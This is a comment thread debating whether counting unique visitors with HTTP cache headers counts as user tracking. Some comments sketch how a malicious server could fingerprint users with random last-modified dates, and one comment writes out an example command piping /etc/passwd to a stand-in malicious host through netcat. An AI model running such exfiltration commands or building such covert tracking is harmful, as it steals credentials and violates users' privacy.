4 ms·
Counting is not the same as tracking. The technique proposed would in most cases be useless for trying to distinguish individuals, much less identify them. It's
by lolinder 4y ago
Counting is not the same as tracking. The technique proposed would in most cases be useless for trying to distinguish individuals, much less identify them. It's the computer equivalent of the person standing out in front of Costco with a clicker counter.
- bawolff 4y agoWhy would it be useless? Just pick a random date for each user.
- lolinder 4y agoI'm not talking about what you could theoretically do with cache headers, I'm talking about what the author of the article is actually doing.
- bawolff 4y agoIts not like that is a far walk though. Its the exact same technique, just storing different data. Respectfully i feel like this would be like seeing an example of css turning a page blue and claiming the technique is useless for turning the page red because that is not the specific example used.
- lolinder 4y agoIf a bunch of people got up in arms and started complaining because the author of said CSS example hadn't considered that their code could be changed slightly to produce a hate symbol, I'd definitely still jump in and say "but that's not what they were doing!"
- bawolff 4y agoThe original claim was "technique proposed would in most cases be useless" Technique does not mean precisely what the person was doing just their method. Their technique has very obvious applications to user tracking.
- dahfizz 4y agoWe may as well get rid of HTTPS entirely with that logic! Someone might abuse it, after all...
- bawolff 4y agoPeople have abused it (e.g. https://arxiv.org/pdf/1810.07304 https://arxiv.org/pdf/1810.07304 ) and then it was changed to make it more difficult to abuse. Ignoring risks do not make them go away, it just makes it easier for bad people to exploit them.
- SkyBelow 4y agoCounting is not tracking, but counting unique visitors requires tracking to know they are unique. If the person outside of Costco is counting unique visitors, they must be tracking who has already visited and who has not. Even if they aren't doing anything else with that information and forgetting it each night, it is tracking. The existing abuse of tracking has led to a level of backlash where any tracking is seen through the worst possible lens.
- deleted 4y ago[deleted]
- jcuenod 4y agoIt doesn't require tracking. Tracking would mean I could tell that user x has returned n times. But I have no idea who has returned, only that someone has returned n times. The person standing outside Costco is counting people by giving them a colored sticker when they walk through the door. If they show up already having one, the counter issues a different color. Who has the stickers is unknown; only the number of stickers distributed in each color is known. As has been said, this is not to say the technique couldn't be used for nefarious purposes. In this case, it's not, though.
- SkyBelow 4y agoThat's still a form of tracking. Maybe not enough to identify unique users in some use cases, but even just knowing someone has been here n times is enough if the user numbers are low enough that you can identify users by unique n counts and patterns of n (such as if one user is at 500 and another is at 490, if the second one is logging in daily while the first one hasn't logged in for a few months, and you see the 490 go 491, 492... when they go from 499 to 500, the chance when a 500 logs on tomorrow and becomes 501 it was the 490 account that has been logging in daily).
- jcuenod 4y agoMust admit, I've never thought of "number of times I've visited your site" as PII. Number of times I've visited every site in my browser history, maybe, but not "number of times I've visited this specific site". I'm thinking about it, but I'm not immediately convinced.
- MereInterest 4y agoIn principle, screen resolution would in most cases be useless for trying to distinguish individuals. After all, it wouldn't even distinguish the underlying hardware, let alone a user of that hardware. But given omnipresent tracking, it's one more bit that can be used to identify you. In addition, your comment shows a severe lack of imagination. Suppose I'm a malicious server who wishes to track users. * For each new user, select a random "late-modified" date. Now, I can clearly distinguish between multiple different users, because "1985-01-01T00:00:10" is probably the 10th visit from whoever was given "1985-01-01T00:00:00" on their first visit. * If I have too many users for the above approach to uniquely identify a person, add more cached items. With HTTP/2, both HTTP requests would use the same TCP connection, so I can correlate the requests together. And, bam. That goes from "useless for trying to distinguish individuals, much less identify them" to a unique identifier stored in the cache invalidation dates.
- lolinder 4y agoThat is a different technique that uses the same medium of storage. When I say "this technique" I'm referring to specifically what was discussed in the article. "Evil tracking companies will do evil things with any protocol features you give them" is already well known and there's not much to say about it that hasn't been said. What OP is actually doing is clever and new to me.
- MereInterest 4y agoI agree that it is clever, and it is new to me as well. However, saying that an obvious extension to a technique (posted by multiple people independently, no less) is a different technique altogether and therefore not germane is going a bit far. If I post a privilege escalation exploit that allows me to execute "cat /etc/sudoers", and somebody points out that it could also be used to execute "cat /etc/passwd | netcat malicious-remote-server.com", that's an obvious extension of the same technique. This is the same, where the same technique may be used for more intrusive attacks than are performed in the initial proof of concept.
- 4y ago
- ilyt 4y agoKinda need one for the other if you want to distinguish different users vs just one user clicking a lot. You need some kind of identifier to differentiate between different sessions, and the moment you generate that ID, using whatever way, you are tracking user.
- lolinder 4y agoNo, you don't need an ID. The article has one implementation that avoids IDs, but here's a simpler one: Place a cookie HAS_BEEN_ON_SITE=true as soon as someone loads any page. Voila, your server can now distinguish between users who've been to your site and users who haven't, without being able to tell recurring users apart from each other. The implementation in the article is fancier, because the cache control headers allow distinguishing this on a page-by-page basis, but it's the same general idea. Don't give the client an ID, just ask the client to tell you if it's been there before.
- ilyt 4y agoPutting cookie like that means consent thingy you need to add tho. Only ones that you don't need are ones that are expected functionality of the site, like you don't need to put it for shopping basket
- lolinder 4y agoYes, but whether you legally must get consent is a separate question from whether you can count unique visitors while still being unable to tell them apart from each other.
- ilyt 4y agoBack in my days we called those "tracking pixels" and it didn't even need a cookie. That's just not a real problem to solve. If you don't want to track users just giving each one unique ID is not a problem if you don't store them for future lookup. The fact remains that from client perspective client have no way of telling whether you track them or not so you can't really prove to user you're not tracking them.